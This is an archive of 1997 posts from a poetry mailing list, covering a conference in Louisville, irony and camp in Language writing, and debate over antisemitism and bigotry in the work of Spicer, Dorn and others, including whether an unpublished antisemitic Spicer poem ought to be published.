kept private so as to bring it "out in the open": the
literature of anti-repression. But also one of the
roles of writing has always been to place private
language and private experience in a way that
readers *identify with*; as they share the placing
of it *as private*, keeping it *non-public*, in
the interests of good public life.

Ira Lightman

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712. Ira Lightman

Irony, drama, sanity, prophecy, LangPo

Sun 23 Feb 1997

I'd also like to add a thought to Fiona Templeton's thread.

I was reading Steve Benson in Language Alive, and Fiona's post helps me to think through some responses I had. Steve Benson seems very much concerned with decency, warmth between people, intimacy, difficult emotions that a relationship, or a social discourse can't easily take. This later work, to me, kept jumping back from itself, ironising itself, in a way I find less powerful than the early material, like the Blue Book book; as if to offer passion but to remain calm and beautiful and funny, in this later work.

And that makes me think of the different uses of one kind of political theatricality: camp. One feature of camp, for me, is that it touches lightly on issues for obvious necessary change, and then refuses to debate them ("I've heard that objection about a thousand times, yawn".) The refusal of that kind reminds me of some "it's non-referential" comeback lines to obviously political Language Writing, and LangWriting has the feeling, to me, of gay camp (not least in early Steve Benson); many of its writers had political conviction, civil rights convictions especially, before writing; they don't discover the convictions, they camp them.

But, what happens to new convictions that have evolved in communities based on and still practicising the old convictions; what happens to those feeling the new convictions who have no community? What happens to child abuse campaigners who are ironised (eg "don't take it so far, oh come on") by Carol Tavris, writer of very powerful books

of seventies' feminism? What happens to those who
have latterday visions, for whom God moving in
mysterious ways compromises their commitment to
a (necessarily) programmatic civil rights politics?
If one believes in repressed memories of child
abuse, or visions, (I do both), or heresies to one's
group's or friends' (or audience of them's) positions,
can these come through? Or can they be blocked
from coming through in speech/art as speech/performance,
by "ironic" tone switching? Can some camp rely on too
rigid a pre-established schematic of repression and
anti-repression? Though I don't underplay the good role
of solid, if reactionary, first-wave progressives - he
closed, ironico-sweetly, but not therefore falsely....

Ira Lightman

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713. **amato**
the chronicle/evil poets/louisville etc...
Sun 23 Feb 1997

---

just back from louisville, having gone there and back with my wife kass fleisher, who gave a reading at one of the "creative" panels... so some bookkeeping:

e: according to the chronicle, that dobyns threw a glass of scotch in a grad. students' face at a party and called her a "stalinist bitch" is uncontested, both by dobyns and other witnesses... aside from which, it appears that dobyns' "drinking problem" is also uncontested... there is no doubt in my mind that the accusations against the program are accurate, in terms of sexual harrassment, even misogyny... no surprise here, kass has been hearing these rumors since 1986... i have to say---the question of the status of "talent" in academic creative writing circles, and of corresponding pedagogies, remains largely unexamined... unfortunately, the shitstorm that has followed in the wake of this appears to have confused sexual harassment, which has undoubtedly taken place, with (for example) "vulgarity" (nonfiction writer mary karr has been accused of same)... the article does *not* do a good job of airing out the issues, either...

an aside here: seems to me that a poet, of some acclaim (whatever one thinks of his writing), acting out his perhaps idiosyncratic impulses thusly, is hardly an idiosyncratic matter... as suggested by the "red collective" who signed that item forwarded to the list... at the same time, sexual harassment and the use of vulgar language do not necessarily have anything to do with each other... w/o wishing to sound nostalgic, these are indeed troubled times for academe... and i

would argue that this thread has a real and active bearing, at least insofar as academe is concerned, on the dorn/neruda/evil poets/spellcheck thread... and i have greatly enjoyed the exchange twixt mark weiss and kent johnson, albeit i'm feeling bad right now b/c i think aldon nielsen's take on dorn has been misconstrued...

maria: alan golding did a swell job of delivering your paper... the discussion afterward was provocative, but i had to duck out to hear (none other than) tobias woolf read, who in fact i now see is completely embroiled in the syracuse university creative writing program controversy!... talk about synchronicity... anyway, maria, i'm sorry i missed *you* (AGAIN)... against yunte huang, i guess i would have to say that there *is*, and was, a valid question raised about the gender-specific attendance at this panel... no one raised a question about race as such but this would be valid too, esp. in a panel in which two papers are engaging the popular-poetic around, among other things, issues of ethnicity... geezus yknow i hate to have to count, but what the hell... of the roughly 25 people in attendance, by my count, only 4 were women, and only 1 person of color, if you would like to construct yourself in this way... the woman was simply asking, why is this?---why did this topic draw primarily white males into attendance?...

anyway, i would like here to publicly thank alan golding for his hospitality throughout (kass and i left before his house party)... alan is a sweetie, and it was great talking with mark scroggins, christopher beach, michael boughn and others who had the generosity to put up with my occasionally relentless mouthiness... i wish we could all meet f2f more often... esp. in shirtsleeve weather!...

i would like to offer but one observation re the conference in general: having attended keynotes as well as assorted 'critical' and 'creative' panels, i was struck by the *relative* lack of crossover in the audiences (excepting the keynotes)... that is, the creative panels, whatever one thinks of such writing, were not particularly well-attended by the critical writers with whom i'm familiar, and the critical panels, whatever one thinks of such writing, were not particularly well-attended by the creative writers i know... of course this is just an impression, as one cannot be in two places at the same time... but if my sense of things is correct, there continues to be a divide around this issue (even an architectural one, given that creative and critical presentations were in separate buildings)...

anyway, greetings to all...

best,

joe

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714. **Ron Silliman**
Repugnant selves
Sun 23 Feb 1997

"i still wouldn't punch dorn in the mouth, mostly cuz i haven't been trained to do it properly"

It's the nose that's his weak spot. Tho I don't approve of poking 67 year old men in the nose either.

When I was in Boulder at Naropa a few years back, folks there said that Dorn never let himself set foot on the Naropa campus anymore. I thought at the time (as I do now) that that must feel like a horrible kind of exile.

I think it's a mistake to focus this discussion on Dorn, though. Jack Spicer made anti-semitic statements, for example. Clark's homophobia, sick as it seems, is ultimately an extension of the same social ensemble that allowed Eli Siegel ("Hot Afternoons Have Been in Montana") to go around "curing" homosexuals or that enabled (forced?) Robert Penn Warren to drop Duncan's work from his magazine when RD came out of the closet in print elsewhere. Considering how much Tom Clark did, positively, to broaden the audience of the New York School, it seems bizarre that this other side should finally win out.

One thing that does ring out, though, in the instance of both Clark and Spicer at the least, is that sense they have of themselves as (more or less literally) monstrous. It's what draws Clark to both Celine and Olson (it's the only thing about Olson he seems at all sympathetic toward).

I suppose it's an improvement of sorts if this sort of pathology becomes knotted right in such self-identified monstrosity, although as events in the former Yugoslavia have shown, there's plenty of the old banal genocidal potential still around for everyone.

I'd love to hear from Kevin (or anyone else, for that matter), what the function of anti-Semitism is in Spicer's work/psyche.

Ron Silliman
head totally fogged in a bad cold

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715. **Gwyn McVay**
Re: spell check and ethics check
Sun 23 Feb 1997

Come Around Me

If he come around me / I'd like to bow deeply to Anselm Hollo. Have coffee with Anne Waldman / if she come around me. If Maya Angelou come around me / I'll smile and say nothing. Should the late / Frank O'Hara come around me / I'd buy him a stiff drink. Ron Silliman already / come up in my face / and so I sat on the floor. How soon do you need this whole list? / I got other homework. Besides I / gotta spend time / doing mantras of energy / for Nobody Punch Anybody in the Mouth.

Gwyn

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716. **Maria Damon**

Re: Louisville Report

Sun 23 Feb 1997

---

thanks for the report yunte huang and others. wish i coulda been there. i'm scared about the local fallout/backlash i might get from my paper, which is forthcoming in nowak' corsscultural poetix ragmag. it's still a rough paper but i was under a deadline that mark was very generous about but i still couldn't make it an elegrant and generous piece of writing, nor a sharply analytic one. oh well, you heard the disclaimer here first. and btw, alan golding, thanks a lot for reading the piece!

At 1:55 AM -0500 2/23/97, Yunte Huang wrote:
>As one of the many presenters on the Lou. Conf., my trip to Lou., I shall
>say, is a hell lot of driving, two nine-hour long and lone drive within
>two days. So I missed Thursday's and Saturday's show, but I can report on
>a few panels I wnet to on Friday.
>
>Panel C4: Strategizing American Poetics after Williams
> Thomas Orange, "Imagism and Objectivism, and the Making of W.C.
>Williams"
> David Chirot, "Williams, Kerouac, Grenier: Visual Words, Soundful
>Visions"
>
>Good attendance, nice slide shows. For myself, having seen Grenier's pages
>(with those impressive two fingers) many times and having heard him talked
>(or not talked) about those photos, it still felt fresh when somebody else
>talked about them. Orange raised an interesting but arguable point about
>Pound's inability to understand early Williams' poetry.
>
>Panel D6: Readings in Anglo-American Modernist Poetics
>

> Yunte Huang, "Ezra Pound and the Chinese and Jewish Traditions of
>Textual Practice"
> Jason Fichtel, "Go Down, Melanctha: African American Spirituals and
>Musicality in Gertrude Stein's Melanctha"
> Benjamin Lockerd, "The Age of Eliot: Th Age of Einstein"
> Michael Campbell, "Comedy Both Human and Inhuman: Stevens' Poetry and
>Bergson's Social Corrective Theory of Laughter"
>
>I have to say, in terms of attendance and response, the panel went very
>well. My paper was to relate Pound's hatred in unstable Jewish textuality
>to some of the moves he made when he translated (the translation) from the
>Chinese. Fichtel's analysis of those names in Melanctha (like Jef-fe-rey,
>Me-lanc-tha) in relation to African Spiritual rhythems, which I don't know
>much about, was interesting. Lockerd's paper is about Eliot's engagement
>with the new development in physics (Einstein's theory), and one person in
>the audience turned out to be a former student of Einstein. Campbell read
>Stevens as a comedian, which I found to be more interesting than reading
>Stevens' metaphysics. Before the panel, I barely knew a soul among the
>five-hundred strong mass (except Alan G.) and could recognize a few names
>and faces, but after the panel I had some nice chats with people who came
>to me.
>
>Panel F5: US Poetry and/as Popular Culture
>
>Maria Damon, "When the NuYorican Came to Town: A Study of Poetic
>Exchanges"
>Christopher Beach, "Poetry on Television?: Bob Holman's 'A United States
>of Poetry' as Video-Poetry Revolution"
>Joseph Harrington, "America's Richest Poet, or The Meaning of Walt Mason"
>
>When I walked into the room, a woman was smiling at me, and I thought that
>was Maria Damon. But it turned out she was doing an "affirmative action"
>count in the room, the result of which she would use to make a point in
>discussion. And of course, Maria D. wasn't there, she remote-controlled
>Alan Golding to read her kick-'em-in-the-ass paper about the social
>exchanges among different poetry communities in Twin City. Harrington and
>Beach used Mason and Holman respectively to argue for a popular function
>of poetry. It was a lively panel, provoking various response. Alan, now
>disconnected from the home-office in Twin City, made three comments, one
>of which being whether some video poetry is actually using the mode of
>production of the object of its critique (a structural-Marxist point). And
>the woman who was counting "heads" earlier on (the reason she was smiling

>at me, by the way, I guess, was that I was an Asian male) asked about eh
>gender issue involved.
>
>All and all, it was fun. Sorry didn't make it to more of the sessions, and
>to Alan's party on Saturday night, but "we" are still during the six-day
>memorial period for Deng's death, so no partying for me.
>
>Yunte Huang

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717. **Maria Damon**
Re: spell check and ethics check
Sun 23 Feb 1997

---

fiona quotes others:
>Hard to make any judgement stick when a tonal change is enough to put a
>safe distance between us and our statements, never mind appeals to
>indeterminism, group myopia or even (gasp) growth. All the same, though
>we might have broken dogmatism up for parts, the appetite for a stonefest
>is as insatiable as ever. Which was perhaps why political correctness was
>invented. The appearance of humanism yet all the fun of the chase.
>Unfortunately, not all baddies are so obliging as to declare themselves in
>their utterances.
>
just read a very good ms that talked about protests against an african art exhibit in toronto(?), to which the curators responded, but those racist images are meant ironically, to which the protesters responded, yes, we know, and the general public knows also that it's ironic, but the irony simply isn't enough to offset the overpowering images which resonate so thoroughly with their NON-ironic racist counterparts...
i found that very interesting and worth further investigation as a line of argument.

↑ Index

718. **Maria Damon**
Re: Repugnant selves
Sun 23 Feb 1997

I'd love to hear from Kevin (or anyone else, for that matter), what the
>function of anti-Semitism is in Spicer's work/psyche.
>

>Ron Silliman
>head totally fogged in a bad cold

i think the function of spicer's antisemitism is 1) part oif a general east-coast phobia (part of what he complained of abt nyc wa the "jewfaced children") 2)a sense that judaism was homophobic (cf the story of lot in sodom), and that jews had a more public claim to oppression than gay people, which he resented.

↑ Index

719. **Rachel Loden**
Re: poets and their repugnant whatevers
Sun 23 Feb 1997

Tom Mandel wrote (in part):

> *2. Bob Perelman suggests my offer to bash Dorn is close to a male poet's need to "take it to the street," and how wrong can he be actually. I chose the words "punch in the mouth" after all. At the same time, I did (twice) say "if he comes around me" which should be easy to interpret. I'm suggesting that the aggression is located in the objectionable opinion. And expressing my annoyance at the fuzzy non-thinking I found on this subject here in the list -- as if evil required interpretation to be understood (no, only to be explained away). My technique was what Brecht called "plumpe Denken" -- gross or vulgar formulation of a thought, a kind of rhetoric yes.*

My inner turntable keeps queueing up lovely snatches of (Berrigan's) _Sonnets_ in this connection, particularly "A few rape men or kill coons so I bat them!" from "Mess Occupations," or this variation on a theme:

Orange cavities of dreams stir inside "The Poems"
Whatever is going to happen is already happening
Some people prefer "the interior monologue"
I like to beat people up

Rachel L.

↑ Index

720. **Jerry Rothenberg**
Re: Repugnant selves
Sun 23 Feb 1997

Just for the record, the incident around rejection of Robert Duncan's previously accepted work (following his published article revealing his homosexuality) involved John Crowe Ransom rather than Robert Penn Warren. This is an unfortunate slip-up but a reminder of how fast gossip and rumor can spread via this medium, i.e. that whatever Ed Dorn (as a pertinent case in point) may or may

not have said on some occasion that still hasn't been clarified or pinned down, the poetics rumor mill has now put him (& whoever else) into a racist league (etc.) that probably has little to do with him. In other words, this is a public & not a private medium, a form of broad casting that can rapidly disseminate mis-information in a way that can quickly and actually do harm to people. Nor would it surprise me if some of the dumping on Dorn in particular had some subtext -- of other resentments -- that isn't being stated. What did the man possibly say that puts him in a league (the way some of the correspondence sounds) with Pound's anti-semtism or fascism? What if anything? And if a triviality or not, how will he now get out from under it?

Some thoughts, anyway, on a sunny a.m. in San Diego.

Jerome Rothenberg
[redacted]

↑ Index

721. **dbkk**
Re: Repugnant selves
Sun 23 Feb 1997

At 12:50 PM -0600 2/23/97, Maria Damon wrote:
>I'd love to hear from Kevin (or anyone else, for that matter), what the
>>function of anti-Semitism is in Spicer's work/psyche.
>>
>>Ron Silliman
>>head totally fogged in a bad cold
>
>i think the function of spicer's antisemitism is
>1) part oif a general east-coast phobia (part of what he complained of abt
>nyc wa the "jewfaced children")
>2)a sense that judaism was homophobic (cf the story of lot in sodom), and
>that jews had a more public claim to oppression than gay people, which he
>resented.

It's Kevin Killian here. Maria, you have hit the nail on the head as far I know; I'd like to add a couple of other points too . .. 3)a pathological rebellion against various strains of Spicer's family myth; the hideous things Spicer wrote came directly after the death of his father 4) a psycho-dynamic between JS and Robert Duncan, in which Duncan was the "good" man and Spicer was cast as the wild fauve; and in general a poetic climate in which savage, problematized irony was valued, the thicker the better

I guess I should share my dilemma with you all, what would you have done? (I've been writing, with Lew Ellingham, a biography of Jack Spicer for many

years, and some of you know this story already.) A few years ago I was lucky enough to get to examine the papers, which are in private hands, of the poet Stephen Jonas; and imagine my delight when I found among them an "un-known" poem by Spicer. Then imagine my anguish when I read it and saw it was by far the most anti-Semitic of all his writings. A lot of you on this list are scholars, what would you have done? I had actually the option, I suppose, of destroying this poem; for what good would it do to show it to the world? I felt like a character in a Henry James novel--no, in an Irving Wallace novel! I tabled a number of Spicer experts, one of whom advised me gravely to "get rid of it. Spicer's reputation is bad enough already. Besides, does 'the world' need yet another piece of anti-Semitic propaganda?"

What would you have done? I had the piece of paper right in my hand, and no one would ever have known.

Except I probably would have told someone, I just can't keep myself to myself.

Please give me your opinions on this. Thanks, Kevin K.

↑ Index

722. **robert drake**
Wm's quote: "machine made of words..."?
Sun 23 Feb 1997

---

can anyone tell me where WC Williams defines poetry as
"a machine made of words"? randall jarrell quotes it in
the 1949 intro to "selected poems", but w/out naming th
source... much appreciated

luigi

↑ Index

723. **dbkk**
Re: Repugnant selves
Sun 23 Feb 1997

At 11:24 AM -0800 2/23/97, Jerry Rothenberg wrote:
>Nor would it surprise me if some of the dumping on
>Dorn in particular had some subtext -- of other resentments -- that isn't
>being stated. What did the man possibly say that puts him in a league
>(the way some of the correspondence sounds) with Pound's anti-semtism or
>fascism? What if anything?

Dear Jerry, and others, whatever, it's Kevin Killian here, and I have tried to stay out of the Dorn debate as long as possible, but I just can't keep myself to

myself. A few years ago I wrote a letter to the editors of the Buffalo magazine "Apex of the M," prompted by an issue of the magazine which contextualized Dorn as a great human being and poet and thinker. My letter was pretty mean I suppose; the editors decided not to publish it because, they said, they don't publish "letters to the editors." This was a policy decision on their part, okay. Kevin Magee and Myung Mi Kim then printed my "Open Letter" in their poetry newsletter, whereupon it became part of the public record. If you would like me to send you a copy just let me know. (If anyone on this list or elsewhere would like a copy, send me your address.) After you read it, Jerry, you will have in fact the answers to some of the questions you pose above. Love, Kevin

↑ Index

724. **Mark Weiss**
Re: Repugnant selves
Sun 23 Feb 1997

When did Spicer's father die? How did the family myth occasion "New York jew salesman of amethyst pyjamas?" Please elucidate; for the uninitiated this is all in cypher.

I would have included the poem in the Spicer biography, and probably in an appendix to the poems. But I would have made it clear that Spicer didn't publish it. Often professional responsibility outways private feelings. I doubt, at any rate, that Spicer's poems are likely to reinforce anybody's antisemitism. He's not exactly a household name, and access to his work usually involves a fairly sophisticated education (formal or informal) that would likely make one a poor candidate for the skinheads.

To have destroyed the poem would have been barbaric, to have suppressed it dishonest and in any case counter to the biographer's task.

Even though I hate Spicer's antisemitism, and take it personally, his poetry is very important to me. He's dead, so I can't talk to him about it. But anything that aids my understanding of his work is useful.

At 11:42 AM 2/23/97 -0800, you wrote:
>At 12:50 PM -0600 2/23/97, Maria Damon wrote:
>>I'd love to hear from Kevin (or anyone else, for that matter), what the
>>>function of anti-Semitism is in Spicer's work/psyche.
>>>
>>>Ron Silliman
>>>head totally fogged in a bad cold
>>
>>i think the function of spicer's antisemitism is
>>1) part oif a general east-coast phobia (part of what he complained of abt

>>nyc wa the "jewfaced children")
>>2)a sense that judaism was homophobic (cf the story of lot in sodom), and
>>that jews had a more public claim to oppression than gay people, which he
>>resented.
>
>It's Kevin Killian here. Maria, you have hit the nail on the head as far I
>know; I'd like to add a couple of other points too . ..
>3)a pathological rebellion against various strains of Spicer's family myth;
>the hideous things Spicer wrote came directly after the death of his father
>4) a psycho-dynamic between JS and Robert Duncan, in which Duncan was the
>"good" man and Spicer was cast as the wild fauve; and in general a poetic
>climate in which savage, problematized irony was valued, the thicker the
>better
>
>I guess I should share my dilemma with you all, what would you have done?
>(I've been writing, with Lew Ellingham, a biography of Jack Spicer for many
>years, and some of you know this story already.) A few years ago I was
>lucky enough to get to examine the papers, which are in private hands, of
>the poet Stephen Jonas; and imagine my delight when I found among them an
>"unknown" poem by Spicer. Then imagine my anguish when I read it and saw
>it was by far the most anti-Semitic of all his writings. A lot of you on
>this list are scholars, what would you have done? I had actually the
>option, I suppose, of destroying this poem; for what good would it do to
>show it to the world? I felt like a character in a Henry James novel--no,
>in an Irving Wallace novel! I tabled a number of Spicer experts, one of
>whom advised me gravely to "get rid of it. Spicer's reputation is bad
>enough already. Besides, does 'the world' need yet another piece of
>anti-Semitic propaganda?"
>
>What would you have done? I had the piece of paper right in my hand, and
>no one would ever have known.
>
>Except I probably would have told someone, I just can't keep myself to myself.
>
>Please give me your opinions on this. Thanks, Kevin K.
>
>

↑ Index

725. aerialedge
2 readings
Sun 23 Feb 1997

Wed. Feb 26th 8PM

Nancy Dunlop
Rod Smith

@ Juliana Spahr's abode, 182 Elm St, upper, Albany

Thurs. Feb 27th 7:30 PM

Louis Cabri
Heather Fuller
Rod Smith

@ Segue, 303 East 8th (Between B & C), NYC

↑ Index

726. Sylvester Pollet
Re: Repugnant selves
Sun 23 Feb 1997

In reply to Kevin's question What to do (or have done, now), I second Mark Weiss's post--preserve it, deal with it. Of course. But there's always one other option--put the poem back in its folder and walk away from the whole project.

↑ Index

727. Christina Fairbank Chirot
Re: Wm's quote: "machine made of words..."?
Sun 23 Feb 1997

You're looking for "Author's Introduction to The Wedge"--which may be found in WCW's Selected Essays--in edition at hand--the exact phrase in on p. 256--

Thanks to David Israel for RUMI-- some lines of which brought to mind final chapter of Mohammed Choukri's For Bread Alone--when the 20 year old hustler Choukri decides to learn to read & write--(the book is written in classical Arabic; translation was made from a--as i recall--Moghrebi version--) Choukri also did fine book Jean Genet in Tangiers--

"The dog barks--the caravan passes"

On Sun, 23 Feb 1997, robert drake wrote:

> *can anyone tell me where WC Williams defines poetry as "a machine made of words"? randall jarrell quotes it in the 1949 intro to "selected poems", but w/out naming th source... much appreciated*
>
> *luigi*

↑ Index

728. Field of Roses
Re: Repugnant selves
Sun 23 Feb 1997

> *I guess I should share my dilemma with you all, what would you have done? (I've been writing, with Lew Ellingham, a biography of Jack Spicer for many years, and some of you know this story already.) A few years ago I was lucky enough to get to examine the papers, which are in private hands, of the poet Stephen Jonas; and imagine my delight when I found among them an "unknown" poem by Spicer. Then imagine my anguish when I read it and saw it was by far the most anti-Semitic of all his writings. A lot of you on this list are scholars, what would you have done? I had actually the option, I suppose, of destroying this poem; for what good would it do to show it to the world? I felt like a character in a Henry James novel--no, in an Irving Wallace novel! I tabled a number of Spicer experts, one of whom advised me gravely to "get rid of it. Spicer's reputation is bad enough already. Besides, does 'the world' need yet another piece of anti-Semitic propaganda?"*
>
> *What would you have done? I had the piece of paper right in my hand, and no one would ever have known.*

"Does 'the world' need yet another piece of anti-Semitic propaganda?"

Of course not. But it's good to know who the enemy is. Let it stand.

Linda Charyk Rosenfeld

↑ Index

729. amato
Re: Wm's quote: "machine made of words..."?
Sun 23 Feb 1997

---

luigi, williams's _the wedge_ (1944)... see also cecelia tichi's chapter "machines made of words" in _shifting gears: technology, literature, culture in modernist america_ (u of north carolina p, 1987)...

best,

joe

↑ Index

730. **Mark Roberts**

AWOL: _Antithesis_ seeking poetry (forwarded)

Sun 23 Feb 1997

>Date: Sun, 23 Feb 1997 08:25:10 +1000
>To: [redacted]
>From: [redacted] (AWOL)
>Subject: AWOL: _Antithesis_ seeking poetry
>
>AWOL posting.
>
>_____
>
>
>
>_Antithesis_ is an interdisciplinary journal published by postgraduate
>students of the University of Melbourne's English and Cultural Studies
>Department. Distributed nationally by Australian Writing On Line, it
>provides a forum for theoretical/literary/cultural debate and also
>publishes short fiction, poetry and graphics.
>
>_Antithesis_ is curently seeking innovative but technically accomplished
>poetry on the theme of Time and Memory. Please send submissions, with an
>SSAE, to: The Poetry Editor, _Antithesis_, c/- the English and Cultural
>Studies Department, University of Melbourne, Grattan St, Parkville, 3052,
>or, if you're running late, to [redacted]. Submissions
>are due by Friday, 7th March.
>
>_Antithesis_ is available through the AWOL Virtual Bookshop. To order
>simply print this form and mail it (along with Aust$10 plus $3.50 postage and
>handling) to AWOL: PO Box 333 Concord NSW 2137 (overseas orders please
>contact us first). Be sure to include a mailing address.
>
>
>
>
>AWOL
>Australian Writing On Line
>[redacted]

>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>
>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Phone 93517710
Mobile 015063970
Fax (02) 9351 7711

↑ Index

731. **Maria Damon**
Re: Repugnant selves
Sun 23 Feb 1997

At 12:07 PM -0800 2/23/97, Mark Weiss wrote:
>When did Spicer's father die? How did the family myth occasion "New York jew
>salesman of amethyst pyjamas?" Please elucidate; for the uninitiated this is
>all in cypher.
>
>I would have included the poem in the Spicer biography, and probably in an
>appendix to the poems. But I would have made it clear that Spicer didn't
>publish it. Often professional responsibility outways private feelings. I
>doubt, at any rate, that Spicer's poems are likely to reinforce anybody's
>antisemitism. He's not exactly a household name, and access to his work
>usually involves a fairly sophisticated education (formal or informal) that
>would likely make one a poor candidate for the skinheads.
>
>To have destroyed the poem would have been barbaric, to have suppressed it
>dishonest and in any case counter to the biographer's task.
>
>Even though I hate Spicer's antisemitism, and take it personally, his poetry
>is very important to me. He's dead, so I can't talk to him about it. But

>anything that aids my understanding of his work is useful.
>

this sounds sensible to me. actually, i don't know why, but i don't take spicer's or baraka's (former) antisemitism personally, as i do pound's. something to think about there for me. md

↑ Index

732. Maria Damon
fwded query
Sun 23 Feb 1997

---

hey folks, here's a query i'm forwarding, cuz i want to know all of yr answers; good subject, huhn.

hi maria - am writing chapter now on heterosexism of blake studies and am interested in contemp queer poets interested in blake - i know about ginsberg spicer merrill duncan and your stuff about angels/ghosts/fairies in your book - which is all wonderful - was wondering if you knew of any other relevant names (any women?) - thanks - andy

↑ Index

733. Alan Jen Sondheim
Re: Repugnant selves
Sun 23 Feb 1997

For me there are antisemitisims and antisemitisms. Pound acted on his; I read his radio speechs in which he among other things (if I remember correctly) calls for the elimination of Jews. They're vile and hateful.

Antisemitism "otherwise" - say in 19th or early 20th century Britain was such, that as a friend put it, if we didn't read the work of British anti-semites, we would hardly have any English literature to consider. It was convention, conventional. It was not yet an era when such hatreds were reificed, debated, etc, (maybe Dreyfuss opened the way).

For me, likewise, Baraka, who has reconsidered, and always considers, it is different; I too read him.

What I'm saying is just as there are _feminisms,_ so there are _hatreds,_ not all equivalent, functioning within different discursive formations, different institutionalizations, and it's a mistake to consider all of them equivalent.

Alan

http://jefferson.village.virginia.edu/~spoons/internet_txt.html
images: http://www.cs.unca.edu/~davidson/pix/
Tel. [redacted] CuSeeMe: 166.84.250.149

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734. Alan Jen Sondheim
Red Mercury, How it Works
Sun 23 Feb 1997

--

Red Mercury

To have mix't plutonium well within the sphere
That draws the thing towards its conclusion, near
Mercury, Red Mercury, dissolved, amalgamated
Between the doubled spheres, coagulated
As source of particles, reaction, raw reaction
That lends performance to another action's action:
Detonation blurs the bomb; the sun is churned
Within, while buildings, carbon, oxygen are burned
Fierce among the doubled pounds of nitro gained
Heat, more particles, cheap nuclear's attained.
Don't run, hide _the thing_ within your fist;
Nothing is left, and nothing's hardly missed.

↑ Index

735. George Bowering
Re: Vancouver report
Sun 23 Feb 1997

Rae Armantrout here to give her first Vancouver readings, Thursday and Saturday. Damn, I am living a life that is not easy these days, and I missed her Saturday night reading at the famous Kootenay School of Writing, had to help elsewhere, but made it out to UBC for the 5 pm Thursday reading, lotta excited young people there who have been turned on to Rae's poetry for a few years, and we were all so glad that she read from two books and then all of her new manuscript, no corny talk in between, just that really American woman's voice reading those clear lines, and everyone ate it up, and of course young Peter Carlos Peters was in 8th heaven all thru.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

736. **DS**
Re: Repugnant selves
Sun 23 Feb 1997

> *Antisemitism "otherwise" - say in 19th or early 20th century Britain was such, that as a friend put it, if we didn't read the work of British anti-semites, we would hardly have any English literature to consider.*

Daniel Deronda offers much food for thought here.

↑ Index

737. **George Bowering**
bromige
Sun 23 Feb 1997

> *Date: Thu, 20 Feb 97 19:54:24 -0800*
> *To: [redacted]*
> *Subject: bromige*
> *From: [redacted] (Lounge)*
>
> *Hello George*
>
> *It's Deanna Ferguson calling. Would you relay this note to David B. Much appreciated. Wonderful reading this afternoon, eh?*
>
> *David--*
> *I'm back on e-mail at the above address. Hope you will post me a note.*
>
> *Good bye David.*
>
> *Good bye George.*
>
> *Deanna*

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

738. **Mark Weiss**
Re: Repugnant selves
Sun 23 Feb 1997

Bravo. Why argue with the dead? the artifact in a different context is a different artifact (paraphrase of Victor Turner's entire corpus). Context is everything.

At 08:04 PM 2/23/97 -0500, you wrote:
>For me there are antisemitisims and antisemitisms. Pound acted on his; I
>read his radio speechs in which he among other things (if I remember
>correctly) calls for the elimination of Jews. They're vile and hateful.
>
>Antisemitism "otherwise" - say in 19th or early 20th century Britain was
>such, that as a friend put it, if we didn't read the work of British
>anti-semites, we would hardly have any English literature to consider. It
>was convention, conventional. It was not yet an era when such hatreds were
>reificed, debated, etc, (maybe Dreyfuss opened the way).
>
>For me, likewise, Baraka, who has reconsidered, and always considers, it
>is different; I too read him.
>
>What I'm saying is just as there are _feminisms,_ so there are _hatreds,_
>not all equivalent, functioning within different discursive formations,
>different institutionalizations, and it's a mistake to consider all of
>them equivalent.
>
>Alan
>
>http://jefferson.village.virginia.edu/~spoons/internet_txt.html
>images: http://www.cs.unca.edu/~davidson/pix/
>Tel. [redacted] CuSeeMe: 166.84.250.149
>
>

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739. David R. Israel
Re: playwrights / Vawter
Mon 24 Feb 1997

Fiona Templeton, discussing work of John Jesurun, writes --

> *and b) check out his Philoktetes, in Yale Theatre mag a couple of years ago, for some of the best American language onstage ever, in a work of dizzying savagery. It was written for Ron Vawter before he died.*

What a strong actor Vawter was. Might be I only caught him once, in The Temptation of St. Anthony (The Wooster Group), late '80s. (One hopes some of those remarkable events are well documented on video.)

btw, Fiona, care to share what you're up to, back in the UK these days?

regards, d.i.

↑ Index

740. David R. Israel
Re: spell check and ethics check
Mon 24 Feb 1997

This is to toss in a cinema ref., by way of cross-pollination.

Fiona writes --

> *The problem is, that tonal change doesn't carry as far as we might like to think. Try travelling. Even out of the "aesthetic sphere",or out of where it's ok to insult your friends . . .*

and she raises questions, with various instances, abt. some of our assumptions as to the validity & scope & (even) nature of irony. Very tricky stuff, this.

While not quite on so rarefied a plane, perhaps, this discussion happens to bring to mind a recent, under-rated "mainstream / independent" (think it could be called?) film -- *Mother Night* (w/ Nick Nolte, based on Kurt Vonegut's eponymous novel).

There, some real basic-level problems with "not meaning what you say" find much scope for harsh reflection. I'm not saying that the film's stark situation is akin (or even *directly* relevant) to the very different, & much more complex species of not-meaning what's-said found in (e.g.) poetics practice. Rather, the Vonegut tale sets out, in a (so to say) clean, literalist manner, some (at least) simpler aspects of this really large & multiform issue & subject matter.

best,
d.i.

↑ Index

741. George Bowering
Re: Neruda and Stalinism
Mon 24 Feb 1997

Mark Weiss's long message on Neruda and Stalinism in the USA was really interesting. Thanks for that.

I am wondering, though: did USAmericans really believe that the overthrow of the government in Guatemala was somehow not done by the USA? I have never heard of anyone outside the USA that did not know that from the start.

Oh, and if I remember rightly, Neruda helped the killers of Trotsky get out of Mexico, didnt he? Or am I mixing up a couple of things?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

742. George Bowering
Re: people-not-here-talk -Reply
Mon 24 Feb 1997

> *On Fri, 21 Feb 1997, George Bowering wrote:*
>
> *I was wondering why the anti-Dorn animus, too; only people I can remember his dissing are rednecks.*
>
> *Some of my best friends are rednecks . . .*
>
> *Cheers,*
> *David*

---hey, my mother's folks came from the Ozarks. They were part of the sort-of honky railroad, running for freedom to Canada.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

743. **jdhollo**
killian / pug selves
Mon 24 Feb 1997

